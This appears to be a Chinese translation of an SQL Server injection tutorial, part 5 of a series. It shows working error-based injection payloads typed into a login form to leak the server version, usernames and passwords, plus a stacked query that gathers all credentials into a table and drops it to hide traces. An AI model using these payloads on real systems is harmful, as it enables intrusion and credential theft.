科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道SQL Server应用程序高级SQL注入(上)(5)

SQL Server应用程序高级SQL注入(上)(5)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。

作者:gaoyuanan 来源:赛迪网技术社区 2007年9月7日

关键字: 注入 数据库 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件

解释这些将实现有趣的消息。一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:

Username:' union select version,1,1,1— 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 
error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 
(Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000
 Microsoft Corporation Enterprise Edition on
 Windows NT 5.0 (Build 2195: Service Pack 2) ' to 
a column of data type int. 
/process_login.asp, line 35

这句尝试去将内置的'version'常量转化成一个整型数字,因为users表中的第一列是整型数字。这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

Username:' union select min(username),1,1,1 from users where username>'a'—

这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the varchar value 'admin'
 to a column of data type int. 
/process_login.asp, line 35

因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

Username:' union select min(username),1,1,1 from users
 where username>'admin'— 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the varchar value 'chris' to a column of data type int. 
/process_login.asp, line 35

一旦攻击者确定了用户名,他就可以开始收集密码:

Username:' union select password,1,1,1 from users 
where username='admin'— 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the varchar value 'r00tr0x!' 
to a column of data type int. 
/process_login.asp, line 35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

begin declare @ret varchar(8000) 
set @ret=':' 
select @ret=@ret+' '+username+'/'+password from users where 
username>@ret 
select @ret as ret into foo 
end

攻击者使用这个当作用户名登陆(都在一行)

Username: ''; begin declare @ret varchar(8000) 
set @ret='':'' select @ret=@ret+'' ''+username+''/''+password 
from users where username>@ret select @ret as ret into foo end—

这就创建了一个foo表,里面只有一个单独的列''ret'',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。然后攻击者就可以取得我们要得到的字符串:

Username:'' union select ret,1,1,1 from foo— 
Microsoft OLE DB Provider for ODBC Drivers error ''80040e07'' 

[Microsoft][ODBC SQL Server Driver][SQL Server]
Syntax error converting the varchar value '': admin/r00tr0x! 
guest/guest chris/password fred/sesame'' to a column of data type int. 
/process_login.asp, line 35

然后丢弃(删除)表来清楚脚印:

Username:''; drop table foo—

这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章